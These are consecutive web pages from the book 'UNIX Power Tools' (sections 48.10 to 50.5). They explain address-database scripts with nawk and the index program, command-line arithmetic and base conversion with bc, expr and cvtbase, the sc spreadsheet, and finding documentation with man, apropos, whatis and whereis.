When you select the record number, that record is displayed by using read.base. I have not built in any paging capability, so the list will scroll continuously rather than pause after 24 lines or so as it might.

Here is the list.base program:

nawk 'BEGIN {
    # Do everything as BEGIN procedure

    # test that user supplied record-list

    if (ARGC < 2) {
        print "Please supply record list on command line"
        exit
    }

    # Define report format string in one place.
    FMTSTR = "%3s %-40s %-15s\n"

    # print report header

    printf(FMTSTR, "#","NAME & COMPANY", "FILE")

    # For each record, get Name, Title and Company and print it.
    inc=0
    for (x=1; x < ARGC; x++){
        getline NAME < ARGV[x]
        getline TITLE < ARGV[x]
        getline COMPANY < ARGV[x]
        record_list[x] = ARGV[x]
        printf(FMTSTR, ++inc ".", NAME ", "  COMPANY, ARGV[x])
    }

    # Prompt user to select a record by number

    printf "Select a record by number:"
    getline answer < "-"

    # Call read.base program to display the selected record

    system("read.base " record_list[answer])
}

' $*

Different versions of this program can be written to examine individual pieces of information across a set of records.

Article 45.22 shows how to write a shell script that creates a prompt-driven front end to collect names and addresses. (It needs to be modified to put out a blank line for empty fields and not to write the labels into the file.)

- DD

Previous: 48.9 PostScript Calendars with pcal | UNIX Power Tools | Next: 48.11 The index Database Program
48.9 PostScript Calendars with pcal | Book Index | 48.11 The index Database Program
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 48] 48.11 The index Database Program

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 48.10 Working with Names and Addresses Chapter 48
Office Automation 		Next: 48.12 Using index with a Filter

48.11 The index Database Program

The index program is a flexible database management program. index is pretty neat: it works by keeping two files for each database, a field description file and a file of sorted data. It's also fairly intuitive to use, once you get started.

To use index, you should first set up a database directory. By default, index looks for the directory $HOME/.index.

~
% mkdir ~/.index

index
 Then when you start up index for the first time, you're asked to select a name for the database you want to use.

Select a database:

If you specify the name of a database that doesn't exist yet, index assumes that you want to create it. index puts you in the editor specified in your EDITOR (6.3) environment variable so you can list the titles for each field in the new database. Up to 16 fields can be supported. For example, you can create a database called addresses, defined to have the following fields:

NAME
TITLE
ORGANIZATION
STREET ADDRESS
CITY
STATE
ZIP CODE
VOICE PHONE NUMBER
FAX PHONE NUMBER
EMAIL ADDRESS

After exiting the editor, you are put into the main menu:

Database: addresses  (0 entries)

        a - Add new entry to database
        f - Find entry in database
        r - Read database entry by entry
        s - Save modifications, do not exit
        q - Save modifications, exit
        x - Exit

Command:

There are no entries in the new database. You can start adding entries now by pressing a.

When editing an entry in the database, you're prompted by each of the fields that were set up when the database was defined. After completing a field, press RETURN to get to the next field. There are also a limited number of escape sequences supported for editing and moving around - for example, CTRL-d to delete to the end of the line, or CTRL-p to move up a line. When you're done with the entire entry, press ESCAPE.

NAME:               Stella Rosenzweig
TITLE:              Mom
ORGANIZATION:
STREET ADDRESS:     2456 Bronx Park East
CITY:               Bronx
STATE:              NY
ZIP CODE:           10467
VOICE PHONE NUMBER: 718-231-2618
FAX PHONE NUMBER:
EMAIL ADDRESS:

Once you've saved the new entry, you'll be back to the main menu. You can now add more entries, look at existing entries, search for a string in one of the existing entries, or exit.

To search for an existing entry, press f at the main menu. You'll be asked for the search pattern:

Pattern to search for: Ben

The index program searches all fields matching the string. Regular expressions (26.4) are also accepted in the search string. Each entry with the matching string is shown, one-by-one:

NAME:               Benjamin Braddock
TITLE:              Sales Manager
ORGANIZATION:       Acme Plastics, Inc.
STREET ADDRESS:     103 Morris St., Suite A
CITY:               Tucson
STATE:              AZ
ZIP CODE:           85472
VOICE PHONE NUMBER: 800-998-9938
FAX PHONE NUMBER:   800-999-9999
EMAIL ADDRESS:      ben@acme.com

      <RET> = next entry               "d" = delete this entry
      "-" = previous entry             "e" = edit this entry
      "q" = return to main menu

Command:

You can also search for strings on the index command line. To do so, specify both the database name and the string. (Enclose the search string in single quotes (8.14) if you want to use a regular expression.)

% index addresses '[bB]en'

All matching entries will be printed to standard output.

The most common use for a database like this is to maintain information about people. But you can use index to maintain all sorts of information. For example, you might keep one for information about local restaurants:

NAME:                           Rooster BBQ & Grill
STREET ADDRESS:                 1122 Rooster Ave.
CITY:                           Cambridge
PHONE:                          555-1212
RESERVATIONS (y,n):             n
FOOD (1=poor, 10=excellent):    8
DECOR (1=poor, 10=excellent):   2
SERVICE (1=poor, 10=excellent): 6
RECOMMENDED DISHES:             Baby-back ribs, Elvis pizza
STAY AWAY FROM:                 Pulled turkey plate, mango pie
RECOMMENDED BY:                 Jerry, Boston Phoenix

For even more flexibility, index can run a filter program (48.12).

- LM

Previous: 48.10 Working with Names and Addresses | UNIX Power Tools | Next: 48.12 Using index with a Filter
48.10 Working with Names and Addresses | Book Index | 48.12 Using index with a Filter
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 48] 48.12 Using index with a Filter

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 48.11 The index Database Program Chapter 48
Office Automation 		Next: 49. Working with Numbers

48.12 Using index with a Filter

A particularly useful feature of the index (48.11) program is that you can use the -f option to filter the output. When a filter is used, the index program produces output in TAB-separated columns. Instead of listing each matching entry individually, the field titles are shown at the top, and each entry then appears underneath, displayed horizontally, with TABs between fields:

% index -f 'sed s/Mui/Mud/' addresses Peter
NAME    TITLE   ORGANIZATION    STREET ADDRESS  CITY    STATE   ...
Henry K Smith           Peter Johnson & Associates      324 Bur ...
Peter Mud       International Sales Manager     O'Reilly and As ...
Peter L. Loos   President       Introspective Solutions, Inc.   ...

The TAB-separated fields don't line up properly on your screen, but they make it convenient to manipulate columns using cut (35.14), awk (33.11), or perl (37.1). For example, you can use the cut command as your filter to limit the output to a few significant fields:

% index -f 'cut -f1,8,10' addresses '.'
NAME    VOICE PHONE NUMBER      EMAIL ADDRESS
Henry K Smith   617-555-1212    henry@pja
Paul S. Spencer        617-693-1111    paul@lotus.com
Peter Mui       800-998-9938    peter@ora.com

(We use '.' as the search string to match all entries.)

For your convenience, you can write up a shell script as a filter and place it in your $HOME/.index directory with a .fmt suffix. This feature comes in useful for particularly complicated filter programs. For example, if you want to be able to read the output of the previous example properly, you can try using awk as shown in article 35.22, or you can just use tbl (43.15) and nroff (43.13). To do this in a single step, try writing a filter [Linda is a great typist; she uses cat >> (25.2) to write short shell scripts (and show the script at the same time). A text editor like Emacs or vi will do fine, too, of course. -JP ]:

~

chmod +x

% cat >> /.index/printinfo.fmt
#! /bin/sh
cut -f1,8,10 | sed '
1i\
.TS\
l l l.
$a\
.TE' | tbl | nroff | col
[CTRL-d]
% chmod +x ~/.index/printinfo.fmt
% index -f printinfo addresses '.'
NAME                VOICE PHONE NUMBER   EMAIL ADDRESS
Henry K Smith       617-555-1212         henry@pja
Paul S. Spencer     617-693-1111         paul@lotus.com
Peter Mui           800-998-9938         peter@ora.com

- LM

Previous: 48.11 The index Database Program | UNIX Power Tools | Next: 49. Working with Numbers
48.11 The index Database Program | Book Index | 49. Working with Numbers
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 49] Working with Numbers

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 48.12 Using index with a Filter Chapter 49 Next: 49.2 bc: Hexadecimal or Binary Conversion

49. Working with Numbers

Contents:
bc: Simple Math at the Shell Prompt
bc: Hexadecimal or Binary Conversion
Gotchas in Base Conversion
bc's Sine and Cosine Are in Radians
Base Conversion Using cvtbase
Quick Arithmetic with expr
Total a Column with addup
It's Great to Have a Spreadsheet
Business Graphics with ipl

49.1 bc: Simple Math at the Shell Prompt

Want to do a few simple calculations? Standard UNIX provides two simple calculators: dc (desk calculator) and bc. (Who knows what the b stands for? The manual page refers to it only as "an arbitrary precision arithmetic language.")

To a novice, dc sounds more promising. However, it's a reverse-Polish calculator. You enter each operand on a separate line, followed by an operator. The operands are stored on a stack; the operator pops them from the stack, replacing them with the result. Unfortunately for the novice, the result isn't printed. You need to type p ("print") to get any output.

bc is actually much easier to use:

% bc
5*2
10
[CTRL-d]
%

Simply type an arithmetic expression, followed by a RETURN. The result will be printed to standard output. Type CTRL-d to exit.

The only thing you need to learn to find bc really useful is the scale command, which tells the calculator how many decimal places to use. The default is 0, so typing an expression like 10/4 yields the unfortunate answer 2. However:

% bc
scale=2
10/4
2.50

gives a more acceptable two decimal places. Scale can be set from 0 to 99 decimal places.

As an alternative, invoke bc with the -l option, which will automatically give you up to 20 decimal places worth of precision (but a lot of trailing zeros on simple division).

bc is really quite complete - you can even define your own functions. See the bc manual page for details. It's also useful for base conversion (49.2).

expr can also be used to do simple math (49.6) on the command line, but it's really better suited for doing math in shell scripts (45.28).

Of course, if you're running the X Window System (1.31), you can just use xcalc, which draws a Texas Instruments or HP calculator right on the screen, and lets you punch keys on the keyboard or with the mouse.

- TOR

Previous: 48.12 Using index with a Filter | UNIX Power Tools | Next: 49.2 bc: Hexadecimal or Binary Conversion
48.12 Using index with a Filter | Book Index | 49.2 bc: Hexadecimal or Binary Conversion
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 49] 49.2 bc: Hexadecimal or Binary Conversion

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 49.1 bc: Simple Math at the Shell Prompt Chapter 49
Working with Numbers 		Next: 49.3 Gotchas in Base Conversion

49.2 bc: Hexadecimal or Binary Conversion

One thing that's really handy to know about bc is how to use it for base conversion.

By default, bc takes its input and prints its output in decimal. However, you can set either the input or the output to be some other base numbering system - for example, hexadecimal or binary - using the ibase and obase commands.

For example, to find the decimal equivalents to a hexadecimal number, set ibase to 16, and leave obase alone (i.e., as decimal). Simply type the number (or a series of numbers separated by semicolons) you want converted, and press RETURN. The decimal equivalent will be printed below. (Hexadecimal numbers from A to F must be typed in uppercase, or bc will report an error.) For example:

% bc
ibase=16
B6;7F;FFF
182
127
4095

Or if you wanted to convert to hexadecimal, you'd set obase to 16, and leave ibase at 10:

% bc
obase=16
142
8E

Or, to convert binary to hexadecimal, set ibase=2 and obase=16 (or ibase=16 and obase=2 for the reverse operation):

% bc
obase=16
ibase=2
11010001
D1

Type CTRL-d to exit bc. Be careful to set obase before ibase, or you will have problems (49.3).

- TOR

Previous: 49.1 bc: Simple Math at the Shell Prompt | UNIX Power Tools | Next: 49.3 Gotchas in Base Conversion
49.1 bc: Simple Math at the Shell Prompt | Book Index | 49.3 Gotchas in Base Conversion
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 49] 49.3 Gotchas in Base Conversion

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 49.2 bc: Hexadecimal or Binary Conversion Chapter 49
Working with Numbers 		Next: 49.4 bc's Sine and Cosine Are in Radians

49.3 Gotchas in Base Conversion

Say you want to convert between octal and hex, and you type:

% bc
ibase=8
obase=16
17
11

It looks like something's gone haywire. 17 octal ought to be F hexadecimal, not 11. What's wrong?

In fact, since you set ibase to octal before you set obase, what you really asked for was obase equal to 16 octal (14 decimal)!

In short, always set obase before ibase, or you're in for a surprise.

Similarly, suppose you'd set ibase to 16, and want to set it back to 10. You need to type:

ibase=A

not:

ibase=10

Another thing to look out for is typing a hex digit when ibase is set to something other than 16. bc isn't smart enough to reject the input, and gives you back garbage.

- TOR

Previous: 49.2 bc: Hexadecimal or Binary Conversion | UNIX Power Tools | Next: 49.4 bc's Sine and Cosine Are in Radians
49.2 bc: Hexadecimal or Binary Conversion | Book Index | 49.4 bc's Sine and Cosine Are in Radians
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 49] 49.4 bc's Sine and Cosine Are in Radians

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 49.3 Gotchas in Base Conversion Chapter 49
Working with Numbers 		Next: 49.5 Base Conversion Using cvtbase

49.4 bc's Sine and Cosine Are in Radians

While using the bc utility the other day, I had the occasion to use the arbitrary precision math library, which is the option -l (lowercase letter "l") of this utility. I wanted to do a simple computation involving the sine of an angle.

I assumed, after reading the manual page, that all I had to do was put in the angle (in degrees) in the sine function. For example, the sine of 30 degrees would be given by:

s(30)

However, this didn't work. A little investigation revealed that the angle shouldn't be in degrees but in radians. For example, the sine of 30 degrees or 0.5263 radians,

s(.5263)

gives the correct answer of 0.5.

This is also true of the cosine function.

- MS in comp.unix.questions on Usenet, 19 April 1989

Previous: 49.3 Gotchas in Base Conversion | UNIX Power Tools | Next: 49.5 Base Conversion Using cvtbase
49.3 Gotchas in Base Conversion | Book Index | 49.5 Base Conversion Using cvtbase
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 49] 49.5 Base Conversion Using cvtbase

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 49.4 bc's Sine and Cosine Are in Radians Chapter 49
Working with Numbers 		Next: 49.6 Quick Arithmetic with expr

49.5 Base Conversion Using cvtbase

cvtbase
The bc command can be used to convert between different bases (49.2), but an easier tool to use is cvtbase. cvtbase is designed specifically to convert from one format to another. For example, to convert a decimal IP address into its hexadecimal equivalent:

% cvtbase d h
140.186.65.25
8c.ba.41.19

The first argument, d, means that our input will be in decimal form. The second argument, h, means that we want the input converted into hexadecimal. In general, the syntax for calling cvtbase is:

cvtbase input_base output_base

where input_base and output_base are any of:

d, D

Decimal; i.e., digits 0 through 9.

x, h

Hexadecimal (using lowercase); i.e., 0 through 9 and a through f.

X, H

Hexadecimal (using uppercase); i.e., 0 through 9 and A through F.

o, O

Octal; i.e., digits 0 through 7.

b, B

Binary; i.e., digits 0 and 1.

Any input characters that aren't in the specified set are sent through unchanged. In the example above, the dots (.) in the IP address are retained in the hexadecimal output.

- LM

Previous: 49.4 bc's Sine and Cosine Are in Radians | UNIX Power Tools | Next: 49.6 Quick Arithmetic with expr
49.4 bc's Sine and Cosine Are in Radians | Book Index | 49.6 Quick Arithmetic with expr
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 49] 49.6 Quick Arithmetic with expr

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 49.5 Base Conversion Using cvtbase Chapter 49
Working with Numbers 		Next: 49.7 Total a Column with addup

49.6 Quick Arithmetic with expr

The expr command does arithmetic. It's not just for incrementing a variable in a Bourne shell loop. It's handy for quick integer math on the command line. For instance, if wc tells me a file has 2545 lines and I want to know how many 66-line pages that is:

$ expr 2545 / 66
38

It's 38 pages - actually, 39, because expr rounds down.

Article 45.28 has a complete list of expr math operators.

- JP

Previous: 49.5 Base Conversion Using cvtbase | UNIX Power Tools | Next: 49.7 Total a Column with addup
49.5 Base Conversion Using cvtbase | Book Index | 49.7 Total a Column with addup
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 49] 49.7 Total a Column with addup

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 49.6 Quick Arithmetic with expr Chapter 49
Working with Numbers 		Next: 49.8 It's Great to Have a Spreadsheet

49.7 Total a Column with addup

addup
Some programs output information in columns. The addup script totals the numbers in a column. It reads from files or standard input. For example, the lastcomm command shows CPU time used in column 4, like this:

% lastcomm tcomm
sleep            tcomm    __         0.08 secs Thu Mar 27 10:23
date             tcomm    __         0.08 secs Thu Mar 27 10:23
tail             tcomm    __         0.09 secs Thu Mar 27 10:23
pwho             tcomm    __         0.30 secs Thu Mar 27 10:23
% lastcomm tcomm | addup 4
0.550000

grep -c (15.8) outputs the number of matches after a colon (:) on each line. To total the matches, pipe grep's output through a little sed command to strip off the filenames and colon; have addup sum the output (the "first column"):

% grep -c CAUTION *.txt
abar.txt:0
applic.txt:3
badprob.txt:235
   ...
% grep -c CAUTION *.txt | sed 's/.*://' | addup 1
317

Here's the script:

case "$1" in
[1-9]*) colnum="$1"; shift;;
*) echo "Usage: `basename $0` colnum [files]" 1>&2; exit 1;;
esac

# Use integer output, but switch to %.4f format if "." in input.
awk '{sum += $col}
END {print sum}' col=$colnum OFMT='%.4f' ${1+"$@"}

The ${1+"$@"} holds filenames (if any) from the command line and works around a shell quoting problem (46.7). The awk script passes in the column through a variable on its command line, then $col becomes the column number. The script defaults to integer output format, without a decimal point. If it sees a "." in the input (like 1.5), it switches to floating-point output format; the OFMT variable setting of %.4f forces awk to always print the result with four digits after the decimal point. (The default OFMT setting, %.6g, prints large numbers in e-notation. If you want that, delete the OFMT='%.4f'.)

- JP

Previous: 49.6 Quick Arithmetic with expr | UNIX Power Tools | Next: 49.8 It's Great to Have a Spreadsheet
49.6 Quick Arithmetic with expr | Book Index | 49.8 It's Great to Have a Spreadsheet
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 49] 49.8 It's Great to Have a Spreadsheet

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 49.7 Total a Column with addup Chapter 49
Working with Numbers 		Next: 49.9 Business Graphics with ipl

49.8 It's Great to Have a Spreadsheet

sc
Calculators are very good, but nothing beats a spreadsheet when you have complicated calculations and want to explore, save, and print alternate computational scenarios. After years of waiting to see mainline spreadsheet programs ported to UNIX, I discovered sc.

Try it; you'll like it. Well, maybe not at first, but eventually. It's quite full featured, but has a slightly helter-skelter user interface with only barebones documentation to help you figure it out. Fortunately, there are built-in quick reference screens available by typing a question mark (?), so (especially if you already know how to use a spreadsheet), you can learn the basics pretty quickly.

A couple of pointers, though: pay attention to the prompts provided by some of the commands. For example, if they show an argument in quotes, that probably means you'd better type the quotes. (But not brackets - they indicate an optional argument.) Also, watch for the order of arguments. (For example, the range copy command takes the destination range first.)

One feature that may be helpful (or may make the interface even more obscure) is that cursor movement and cell editing commands are based on the vi (30.2) command set.

While you might wish for a point and click interface like Excel, or even the keystroke-based menus that make 1-2-3 so easy to use, sc has a lot to offer. It lets you do just about everything pricier spreadsheets do, including hiding rows or columns, symbolic range or cell names, and a full range of numeric, string, financial and date/time functions. It even lets you encrypt your spreadsheets for security.

Some functions are implemented by pipes (1.4) to UNIX commands. For example, there's no print command. Instead, you use one of the save commands (P to save the file in sc format; W to save an image of the screen), supplying a pipe to the printer as the "filename." Of course, this means that if you know the format of the output stream (which is fairly simple), you can use any available UNIX utilities to transform the data.

You can't pipe data into sc, but you can prepare data with other programs, and then use the supplied psc program to convert it to sc format.

- TOR

Previous: 49.7 Total a Column with addup | UNIX Power Tools | Next: 49.9 Business Graphics with ipl
49.7 Total a Column with addup | Book Index | 49.9 Business Graphics with ipl
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 49] 49.9 Business Graphics with ipl

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 49.8 It's Great to Have a Spreadsheet Chapter 49
Working with Numbers 		Next: 50. Help--Online Documentation, etc.

49.9 Business Graphics with ipl

ipl
One of the weaknesses of sc (49.8) is that it doesn't provide the graphics that people now expect from a spreadsheet. However, all is not lost. ipl produces business graphics using PostScript (or SunView) for output. It provides scatterplots, line plots, bar graphs, pie charts, schedule charts, and maps of the U.S. and Canada.

There are a variety of formatting commands (best learned by studying the examples supplied with the ipl distribution). The data is expected to be field-oriented, with white space as a separator. With a little massaging, you can get this out of sc (and of course, from many other UNIX programs).

- TOR

Previous: 49.8 It's Great to Have a Spreadsheet | UNIX Power Tools | Next: 50. Help--Online Documentation, etc.
49.8 It's Great to Have a Spreadsheet | Book Index | 50. Help--Online Documentation, etc.
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 50] Help--Online Documentation, etc.

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 49.9 Business Graphics with ipl Chapter 50 Next: 50.2 The apropos Command

50. Help--Online Documentation, etc.

Contents:
UNIX Online Documentation
The apropos Command
apropos on Systems Without apropos
whatis: One-Line Command Summaries
whereis: Finding Where a Command Is Located
Searching Online Manual Pages
How UNIX Systems Remember Their Name
Which Version Am I Using?
Reading a Permuted Index
Make Your Own Man Pages Without Learning troff
Writing a Simple Man Page with the -man Macros
Common UNIX Error Messages

50.1 UNIX Online Documentation

The UNIX operating system was one of the first to include online documentation. It's not the best in the world - most users who haven't internalized the manual set curse it once a week - but it has proven surprisingly resilient. What's particularly interesting about UNIX's online documentation is that, unlike other early help systems, it isn't an adjunct to another set of printed documentation that contains the "real" truth. The online manual is complete, authoritative, and usually more current than any printed documentation.

The basis for UNIX's online documentation is the man command. Most simply, you use it as follows:

% man topic

where topic is usually the name of some command; but it can also be the name of a system call, a library routine, an I/O device, or an administrative file (or file type). The output from man is usually sent to a pager like more (25.3), which allows you to page through.

The manual pages are grouped into a number of categories. Unfortunately, there are three slightly different groupings: one for Berkeley-based systems, one for System V, and one for systems derived for XENIX. Table 50.1 lists these categories.

Table 50.1: UNIX Manual Page Categories
Category | BSD | System V | Xenix
User commands | 1 | 1 | u_man
System calls | 2 | 2 | p_man
Library routines | 3 | 3 | p_man
I/O and special files | 4 | 7 | p_man
Administrative files | 5 | 4 | a_man
Games | 6 | 6 or 1 | u_man
Miscellaneous | 7 | 5 | anything goes
Administrative commands | 8 | 8 | a_man
Maintenance commands | 8 | 1M | u_man or a_man
Local commands | l (letter) | * |
Obsolete commands | o (letter) | * |

[1] As you can see, System V makes a strange distinction between "administration" and "maintenance"; if you can figure out what they really mean, please let us know! To a poor Berkeley soul, this has never made sense. Some of these categories are subdivided further; for example, you may see section 3S (the standard I/O library), 3M (the mathematics library), 1G (Berkeley graphics), 1V (commands derived from System V), and so on.

[1] System V and Xenix make no provision for "local" or "obsolete" commands in their man system.

If you want to refer to a manual entry in a specific section of the manual, you can give a command like one of these:

% man section topic
% man -s section topic

Some systems require the -s "section" option. For example, if you want to read documentation about the /etc/passwd file (rather than the passwd command) on a System V machine, give the command:

% man -s 4 passwd

This is an easy way to distinguish between topics with the same name, but in different groups.

- ML

Previous: 49.9 Business Graphics with ipl | UNIX Power Tools | Next: 50.2 The apropos Command
49.9 Business Graphics with ipl | Book Index | 50.2 The apropos Command
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 50] 50.2 The apropos Command

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 50.1 UNIX Online Documentation Chapter 50
Help--Online Documentation, etc. 		Next: 50.3 apropos on Systems Without apropos

50.2 The apropos Command

The biggest problem with the UNIX manual set is finding what you want, given that you don't already know what you're looking for. For example: you want to search for a string in a file. If you don't remember that the command you want is called grep, how will you ever find it?

The apropos command, which is equivalent to man -k (and sometimes just an alias for man -k) helps to solve this problem. It's not always successful, but it's better than nothing. It looks through headings of all the "man pages" and prints any that match a given keyword. For example, to figure out how to search for a string, try the command:

% apropos string
...
gets, fgets (3S)        - get a string from a stream
getsubopt (3)           - parse sub options from a string
gettext, textdomain (3) - retrieve a message string, get & set text domain
grep, egrep, fgrep (1V) - search a file for a string or regular expression
puts, fputs (3S)        - put a string on a stream
...

We've cut some of the output for convenience, but you can see what you want: to search for a string, you clearly want to use grep or one of its relatives.

All BSD and SVR4 systems support apropos. However, there are plenty of SVR3 (and earlier) systems kicking around that don't. If you're facing this problem, see article 50.3.

MILD FLAME: Over the years, the output from apropos has gotten quite cluttered. It's considerably less useful now than it was ten years ago.

- ML

Previous: 50.1 UNIX Online Documentation | UNIX Power Tools | Next: 50.3 apropos on Systems Without apropos
50.1 UNIX Online Documentation | Book Index | 50.3 apropos on Systems Without apropos
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 50] 50.3 apropos on Systems Without apropos

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 50.2 The apropos Command Chapter 50
Help--Online Documentation, etc. 		Next: 50.4 whatis: One-Line Command Summaries

50.3 apropos on Systems Without apropos

I was just asked to write an article about how to simulate apropos on systems that don't have it. I have to confess that I've never faced this problem. But I was able to come up with a solution. Your mileage may vary - particularly since different UNIX implementations have different ways of storing their manual pages.

The solution has two parts. First, you need a script that builds an index; that's better than grepping through every manual page in the world. [ Not always (50.6). ;-) -JP ] Then you need an apropos alias that automatically searches your index file. Here's the script to build the index file:

for

sed

`...`

col
egrep
uniq

done >

#!/bin/sh
# manindex: Generate a list of topic lines that you can grep through.
# Then create 'apropos' and other aliases to search the list.
# Run this periodically-once a month should suffice
mandir=/usr/share/man     # where the manual pages are stored
manlist="cat1 cat2 cat3"  # list particular directories you care about
indexfile="/home/mike/manindex.txt"

rm -f $indexfile
for directory in $manlist
do
        cd $mandir/$directory
        # the sed command turns filenames into "manual page" names
        # e.g., converts sed.1.z to sed.
        # BUG:  won't handle names like a.out.4.Z correctly
        for manpage in `ls | sed -e 's/\..*$//g'`
        do
                # use man to unpack the manual page; it might be compressed
                # use col to strip garbage characters
                # egrep looks for spaces, manual page name, and dash
                man $manpage | col -b -x | egrep "^ +$manpage.* - " | uniq
        done
done > $indexfile

This script goes through every directory in which manual pages are stored. It strips all suffixes from the filenames, and then uses man to print the actual manual page. This is better than trying to look at the raw manual pages themselves because some vendors don't provide the raw manual pages. If you let man give you the page you want, you'll always find it. [2] The col command strips out boldfacing, underlining, and other monstrosities that will confuse grep. Finally, egrep looks for lines to put in the index. It's not as fussy as the BSD catman program (which mkindex is emulating), so it will find a fair number of lines that don't belong; but we think this is only a mild flaw.

[2] If you have the source files for the manual page online, rather than pre-formatted files, you might want to rewrite the script to search them directly. It will be a lot faster.

Before you can use this script you'll have to substitute definitions for three variables:

mandir

The top-level directory in which manual pages are stored. Often /usr/man, but it may be different on your system.

manlist

Subdirectories containing the manual pages you care about. You'll probably want the directory in which user-level commands are stored, as a minimum. This level of directory naming may be radically different on different systems. I think this script is flexible enough to handle all the variations I can remember; if it can't, you'll have to hack it up a bit.

indexfile

The file in which you want to keep your index (the output of this script).

Expect manindex to run for a long time; several minutes or more, depending on how thorough you want to be. Fortunately, you don't need to do this very often: once to get started, and then once a month (or so) to pick up any "stray" manual pages that someone else may have added. If you want to speed the task up, remember that you can skip any sections of the manual that you're not interested in by defining manlist appropriately. For example, if you're not interested in section 2 of the manual, just leave cat2 out of the list.

Once you've created the index, the rest of the problem is easy. Just make yourself an apropos alias (10.2) and add it to your .cshrc file:

alias apropos "grep -i \!$ /home/mike/manindex.txt"

Here's what its output looks like:

% apropos search
acctcom - search and print process accounting file(s)
egrep - search a file for a pattern using full regular expressions
fgrep - search a file for a character string
fmlgrep - search a file for a pattern
grep - search a file for a pattern
pathconv - search FMLI criteria for filename

As I pointed out, this isn't perfect. But I think it's a reasonable substitute.

- ML

Previous: 50.2 The apropos Command | UNIX Power Tools | Next: 50.4 whatis: One-Line Command Summaries
50.2 The apropos Command | Book Index | 50.4 whatis: One-Line Command Summaries
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 50] 50.4 whatis: One-Line Command Summaries

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 50.3 apropos on Systems Without apropos Chapter 50
Help--Online Documentation, etc. 		Next: 50.5 whereis: Finding Where a Command Is Located

50.4 whatis: One-Line Command Summaries

whatis is almost identical to apropos (50.2), but it requires a command name as an argument - rather than an arbitrary string. Why is this useful? Well, let's say you forget what cat does. On my system, apropos cat gives you several screenfuls of output. You may not want to read the entire manual page. But whatis cat gives you a nice one-line summary:

% whatis cat
cat (1V)      - concatenate and display

If you're using the apropos fake-out we discussed in article 50.3, you can simulate whatis with an alias (10.3) or shell function (10.9):

alias whatis "grep '^ *'\!$ /home/mike/manindex.txt"

whatis() { grep "^ *$1" /home/mike/manindex.txt; }

- ML

Previous: 50.3 apropos on Systems Without apropos | UNIX Power Tools | Next: 50.5 whereis: Finding Where a Command Is Located
50.3 apropos on Systems Without apropos | Book Index | 50.5 whereis: Finding Where a Command Is Located
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 50] 50.5 whereis: Finding Where a Command Is Located

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 50.4 whatis: One-Line Command Summaries Chapter 50
Help--Online Documentation, etc. 		Next: 50.6 Searching Online Manual Pages

50.5 whereis: Finding Where a Command Is Located

The whereis command helps you to locate the executable file, source code, and manual pages for a program. I use it primarily as a sanity check; if I type more useless.txt, and get the message "more: command not found," I immediately try whereis more. This gives me a lot of information about what went wrong: someone may have removed more from the system, or my PATH (6.4) environment variable may be set incorrectly, etc.

Output from whereis typically looks like this:

% whereis more
more: /usr/ucb/more /usr/lib/more.help /usr/man/man1/more.1

